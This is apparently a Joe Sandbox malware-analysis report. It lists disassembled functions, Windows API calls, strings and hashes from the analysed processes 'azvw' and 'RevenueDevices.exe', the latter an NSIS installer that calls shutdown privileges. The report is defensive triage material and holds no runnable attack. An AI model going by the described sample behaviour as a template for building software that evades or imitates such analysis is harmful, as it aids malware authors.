Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID: hB$hB$hB
API String ID: 714016831-3407773006
Opcode ID: 21d0b8c3c549ef3f006421a9cbb870f42be1103d9f1cbd472c759b23aba7fc12
Instruction ID: 3deade5512a951a36e16256948898a48dfe75dffd287a545e5a0f75b2dea7774
Opcode Fuzzy Hash: 21d0b8c3c549ef3f006421a9cbb870f42be1103d9f1cbd472c759b23aba7fc12
Instruction Fuzzy Hash: 6A311271A40B01DBD3329F29DC40BA6B6E4EB44B54F11813FF56597290EB78A881DB4C

Function 00412550 Relevance: 12.1, APIs: 8, Instructions: 54synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000,?,00000000,00000000,00412334), ref: 00412566
InterlockedExchange.KERNEL32(00428D6C,00000000), ref: 00412582
InterlockedExchange.KERNEL32(00428D6C,00000000), ref: 00412590
CloseHandle.KERNEL32(00000000), ref: 00412593
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041259C
ReleaseMutex.KERNEL32(00000000), ref: 004125A3

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ExchangeInterlockedMutex$CloseCreateHandleObjectReleaseSingleWait
String ID:
API String ID: 1537229248-0
Opcode ID: 2233b778cae926ed051bf37e10cc9fba4f9749033d4a10a0707beef56968d8a8
Instruction ID: b0480333715e69541531a0b31537b6c343dc41711bcec5a2d42a26cd8254ad3b
Opcode Fuzzy Hash: 2233b778cae926ed051bf37e10cc9fba4f9749033d4a10a0707beef56968d8a8
Instruction Fuzzy Hash: 27017976751135BBE620176ABC84FCA7A54DB98761F504036FB04C1290CAE54855867D

Function 0041A6FD Relevance: 9.1, APIs: 6, Instructions: 143COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004231C4,00000001,00000000,74DEDF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,74DEDF80), ref: 0041A73C
GetStringTypeA.KERNEL32(00000000,00000001,004231C0,00000001,?), ref: 0041A756
GetStringTypeW.KERNEL32(00000100,74DEDF80,00000000,00000000,74DEDF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,74DEDF80), ref: 0041A77D
WideCharToMultiByte.KERNEL32(0041C6AA,00000220,74DEDF80,00000000,00000000,00000000,00000000,00000000,74DEDF80,00000002,00000000,00000000,0041C6AA,00000000,00000000,74DEDF80), ref: 0041A7B0
WideCharToMultiByte.KERNEL32(?,00000220,?,?,00000000,00000000,00000000,00000000), ref: 0041A819
GetStringTypeA.KERNEL32(?,00000100,?,?), ref: 0041A884

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: a43e38c5c5d028c144d3e8cb6c32465874376830a1d5fb65c484278b2941d380
Instruction ID: 234dd49fbe87c6ca2bccb5c469feb3bcb330d3ea89130add922d392c3e6857ad
Opcode Fuzzy Hash: a43e38c5c5d028c144d3e8cb6c32465874376830a1d5fb65c484278b2941d380
Instruction Fuzzy Hash: 2051D371941219EBCF219F95CC46EEFBF74FF49710F10851AF514A2290D33899A2CBAA

Function 004188A6 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004231C4,00000001,?,00000103,00000001,?,0041B122,00200020,00000000,?,?,00000000,00000001), ref: 004188E5
GetStringTypeA.KERNEL32(00000000,00000001,004231C0,00000001,?,?,?,00000000,00000001), ref: 004188FF
GetStringTypeA.KERNEL32(?,?,?,00000000,00200020,00000103,00000001,?,0041B122,00200020,00000000,?,?,00000000,00000001), ref: 00418933
MultiByteToWideChar.KERNEL32(0041B122,00000002,?,00000000,00000000,00000000,00000103,00000001,?,0041B122,00200020,00000000,?,?,00000000,00000001), ref: 0041896B
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?), ref: 004189C1
GetStringTypeW.KERNEL32(?,?,00000000,?,?,?), ref: 004189D3

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: b6fc29cc1fe91b7363b8991f027c7948fc37d024faef256876d7a34b7c7ad979
Instruction ID: 45773244ba3084bfe591248ee5288dd1411f43dfdcda665af45e3c3989b1d248
Opcode Fuzzy Hash: b6fc29cc1fe91b7363b8991f027c7948fc37d024faef256876d7a34b7c7ad979
Instruction Fuzzy Hash: BA417BB2600219AFCF208F95DC86AEF7B79FB08750F10492AF911D2250C77989918B9A

Function 004174ED Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0041750C
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00417541
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004175A1

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 0041757B
__MSVCRT_HEAP_SELECT, xrefs: 0041753C

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 3eaa5e944d136b0007a8d9a645e7be42f59fb39eb476563cdd890dddd771b81e
Instruction ID: 85bddbf609848ad88969b96e0ec2a342a30041935dc8ecfc60b45b29f21cca6b
Opcode Fuzzy Hash: 3eaa5e944d136b0007a8d9a645e7be42f59fb39eb476563cdd890dddd771b81e
Instruction Fuzzy Hash: F4317B7184E2587DEB3186746C55BEF3B798B02354F2404DBD189C6242E63C9EC6CB1D

Function 004126E0 Relevance: 7.6, APIs: 5, Instructions: 134COMMON

Download Yara Rule

APIs

IsValidSecurityDescriptor.ADVAPI32(?,00000000,00000000,?,00000000,0040FA5A,?,?,00000000), ref: 00412726

Part of subcall function 00412550: CreateMutexA.KERNEL32(00000000,00000001,00000000,?,00000000,00000000,00412334), ref: 00412566

GetSecurityDescriptorControl.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,74DEE010), ref: 00412747

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: DescriptorSecurity$ControlCreateMutexValid
String ID:
API String ID: 5382943-0
Opcode ID: 7a40a00d7cc83c6fb11208a9676cb8a6778e7d7d4183abda0f0fc39d63e3b559
Instruction ID: ce17b90b339484897982068a113a1875571977018ad8679ec67858a3e104fd9b
Opcode Fuzzy Hash: 7a40a00d7cc83c6fb11208a9676cb8a6778e7d7d4183abda0f0fc39d63e3b559
Instruction Fuzzy Hash: 434116363043014BE720DF69EE84BE7B7D4EBC0764F54082EED64C7390D6B9E85986A5

Function 0041831D Relevance: 7.5, APIs: 2, Strings: 3, Instructions: 27memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualFree.KERNEL32(000000FF,00000000,00008000,hB,0041841D,hB,74DEDFF0,?,00000000,?,?,004184CF,00000010,00413378,?,?), ref: 0041832C
HeapFree.KERNEL32(00000000,?,?,004184CF,00000010,00413378,?,?), ref: 00418362

Strings

hB, xrefs: 00418342
hB, xrefs: 00418332, 0041833D
hB, xrefs: 0041831D

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Free$HeapVirtual
String ID: hB$hB$hB
API String ID: 3783212868-3407773006
Opcode ID: ac2766d890ba760c26cec665f9c93e8237cd86e774a741f4bb10f7a7867d9e1f
Instruction ID: f7fd38735fced4e952862f77377cc11919846e26e52132b364c2a56e16ac4255
Opcode Fuzzy Hash: ac2766d890ba760c26cec665f9c93e8237cd86e774a741f4bb10f7a7867d9e1f
Instruction Fuzzy Hash: 3DF03A74601310DFC3249F18EC84B967BF0FB08B10B21842DE5A5573A0C771AC81CB48

Function 00412A38 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(00412B44,00000001,?,?,?,0040103D,00000002,004076E0,00000002,00428D60,?,?,?,?,?,00401014), ref: 00412AC8
GetLastError.KERNEL32(?,?,?,0040103D,00000002,004076E0,00000002,00428D60,?,?,?,?,?,00401014,?,?), ref: 00412AF7

Strings

v@, xrefs: 00412B21, 00412B27
v@, xrefs: 00412B2F, 00412B35

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ConsoleCtrlErrorHandlerLast
String ID: v@$v@
API String ID: 3113525192-2252294108
Opcode ID: be862bb647b63607e7147e6a5487d70ccdf36829498479ed286d36be58b49362
Instruction ID: 36fa8ff7c152ed876fc65d5f67174a495ff5afcdeb0d815e8b9c8bd107a64320
Opcode Fuzzy Hash: be862bb647b63607e7147e6a5487d70ccdf36829498479ed286d36be58b49362
Instruction Fuzzy Hash: EE219131A155108B8A398F08DA885EAB762ABA1350799422BC805C73B0D6F86CE6C78D

Function 00414564 Relevance: 6.5, APIs: 5, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 427a3472328d7d1c61610fd7d40306d59065ffd795d00f0f890eeb67c1721805
Instruction ID: 459714ddabeffe01b96583aa82163a16ed5fdc408948e7cab0404e7047e2aba0
Opcode Fuzzy Hash: 427a3472328d7d1c61610fd7d40306d59065ffd795d00f0f890eeb67c1721805
Instruction Fuzzy Hash: F57116365002106BDB226A65CC40BEF3A25EBD27A8F250127FC289A2D0DB3DDDC1969C

Function 0041CF38 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0041C6AA,00000000,00000000,74DEDF80,00000000), ref: 0041CF0C
WideCharToMultiByte.KERNEL32(?,00000220,?,?,?,?,00000000,00000000), ref: 0041CF66
WideCharToMultiByte.KERNEL32(?,00000220,?,?,00000000,00000000,00000000,00000000), ref: 0041CF7E
WideCharToMultiByte.KERNEL32(?,00000220,?,?,?,?,00000000,00000000), ref: 0041CFD6
CompareStringA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000), ref: 0041CFF4

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ByteCharMultiWide$CompareString
String ID:
API String ID: 376665442-0
Opcode ID: dbaede760fa393ef53ab3c1242556b367d8345edddc8a848cdddf23556fa72f6
Instruction ID: 9864fccd20358ca3471ff816892f761ab08e69d42232d9cc94e5ed20e2ccf262
Opcode Fuzzy Hash: dbaede760fa393ef53ab3c1242556b367d8345edddc8a848cdddf23556fa72f6
Instruction Fuzzy Hash: A821D572900259EBCF228F96CC85DDFBF76FF89750F24811AF91061260D33A8961EB64

Function 0041ACD3 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000001,00000000,00000002,00000002,00000002,?,00000002,00428D60,0040114F), ref: 0041AD02
MultiByteToWideChar.KERNEL32(?,00000009,00428D60,00000002,00000000,00000000,?,00000002,00428D60,0040114F), ref: 0041AD15
MultiByteToWideChar.KERNEL32(?,00000001,00428D60,00000002,?,00000000,?,00000002,00428D60,0040114F), ref: 0041AD61
CompareStringW.KERNEL32(?,?,00000000,00000002,?,00000000,?,00000000,?,00000002,00428D60,0040114F), ref: 0041AD79

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ByteCharMultiWide$CompareString
String ID:
API String ID: 376665442-0
Opcode ID: 2702ab6cdf56d2763e6d62c6ecf4a2ed95136fa1c4226cc5a579848ba68c566b
Instruction ID: 96f580f69b9e3dcf2c1ef1fcae33e3ea1998bfe1201ed0f81b595f9675030ecf
Opcode Fuzzy Hash: 2702ab6cdf56d2763e6d62c6ecf4a2ed95136fa1c4226cc5a579848ba68c566b
Instruction Fuzzy Hash: DD212932D01659EBCF218FD5DC459DEBFB6FF48360F10412AFA10622A0C3369962DB96

Function 00415471 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 00415485

Strings

, xrefs: 004154AA
, xrefs: 004154CE

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 206481e3e4300311258317caa61d1883e1de100da41eb334363ef2002a580eda
Instruction ID: 0d18aeb077521f4644a221a408f67d066500747ada27a7292fb7ec63da0fa870
Opcode Fuzzy Hash: 206481e3e4300311258317caa61d1883e1de100da41eb334363ef2002a580eda
Instruction Fuzzy Hash: 0D419C31144698AFEB258B14CD49BFB3FABEB45704F1410E6D189C7252C23D49D8CBAB

Function 0040FB60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(4F020EB0,4F020EB0,?), ref: 0040FC80
LocalFileTimeToFileTime.KERNEL32(?,?,?,?,0040F775,?,?,?), ref: 0040FC90

Part of subcall function 0040FCE0: SystemTimeToFileTime.KERNEL32(?,?,00000000,?,?,0040FC29,?,?,00000001), ref: 0040FD9F
Part of subcall function 0040FCE0: LocalFileTimeToFileTime.KERNEL32(?,?,?,?,0040FC29,?,?,00000001), ref: 0040FDAF

Strings

nircmdc.exe, xrefs: 0040FB65

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Time$File$Local$DateSystem
String ID: nircmdc.exe
API String ID: 906138043-3082794360
Opcode ID: ac9c37c9d280e7aeeecda865d65c29ca38083135dfc648224f3fac08bf768192
Instruction ID: 5baf95fb76d08c68963974afa87817b976a97d3decfcf36862cfafa69845cedb
Opcode Fuzzy Hash: ac9c37c9d280e7aeeecda865d65c29ca38083135dfc648224f3fac08bf768192
Instruction Fuzzy Hash: 353184B99583045BE224DB14DC46A6773E8FB88704F04493DFD4467391D279ED09CBAA

Function 00402660 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

CharToOemA.USER32(00000000,00000000), ref: 004026A9
OemToCharA.USER32(00000000,00000000), ref: 004026C7

Strings

%@, xrefs: 00402666, 0040266D, 004026B0, 004026CE

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Char
String ID: %@
API String ID: 751630497-2048787947
Opcode ID: 6e380c911fb415733835f5aa260d4525884f8dd25feb0fab7b4cd8439c7f1fe2
Instruction ID: b3c2b64b661b7efdf6035ac58ec0d7cccb6eb28b1d05d5fc9c221f85c97273e9
Opcode Fuzzy Hash: 6e380c911fb415733835f5aa260d4525884f8dd25feb0fab7b4cd8439c7f1fe2
Instruction Fuzzy Hash: 7201F77B50111033CA1057767D4A89B3B68EAC13727184A3AFD19973D2EABEDC0193B9

Function 00411B10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(-00000060,0041179E,-00000060,?,00000000), ref: 00411B2E

Strings

:, xrefs: 00411B1F
/, xrefs: 00411B24

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: DriveType
String ID: /$:
API String ID: 338552980-4222935259
Opcode ID: 1bab22ddc8c8ab6719041f6db9f46d6405986c177cfcddc1ce3f0d567b452f07
Instruction ID: a07ccfaa741e44cdb586d8d66076ba6bd627a13065fdecee1af11a2a6ee7f3a9
Opcode Fuzzy Hash: 1bab22ddc8c8ab6719041f6db9f46d6405986c177cfcddc1ce3f0d567b452f07
Instruction Fuzzy Hash: DAD0175520C3C1ADE3068738855839EBFD24FE6248F08C89CF0CD46197C274868AD32B

Function 00417D37 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,?,00000000,00417AFF,?,?,?,00000100), ref: 00417D5F
HeapAlloc.KERNEL32(00000008,000041C4,?,00000000,00417AFF,?,?,?,00000100), ref: 00417D93
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004,?,00000000,00417AFF,?,?,?,00000100), ref: 00417DAD
HeapFree.KERNEL32(00000000,?,?,00000000,00417AFF,?,?,?,00000100), ref: 00417DC4

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 33001df4db496528ad52e2b10be87e81acbf967580db6c9781919396473561c5
Instruction ID: 19d746281750a9b93ecae615901eefe1d66095e7a60d7e67be2a35289f352c6c
Opcode Fuzzy Hash: 33001df4db496528ad52e2b10be87e81acbf967580db6c9781919396473561c5
Instruction Fuzzy Hash: 9811CE74240300AFC335CF19EC88AA27BB2FB98314710493DF2A2C31B0D3759966DB5A

Analysis Process: RevenueDevices.exePID: 1892, Parent PID: 2476COMMON

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1526
Total number of Limit Nodes:	33

Executed Functions

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

/D=, xrefs: 004039A6
1C, xrefs: 00403B56
~nsu.tmp, xrefs: 00403AF7
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B
NSIS Error, xrefs: 004038E2
SeShutdownPrivilege, xrefs: 00403C16
Error launching installer, xrefs: 00403A7D
NCRC, xrefs: 0040397C

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
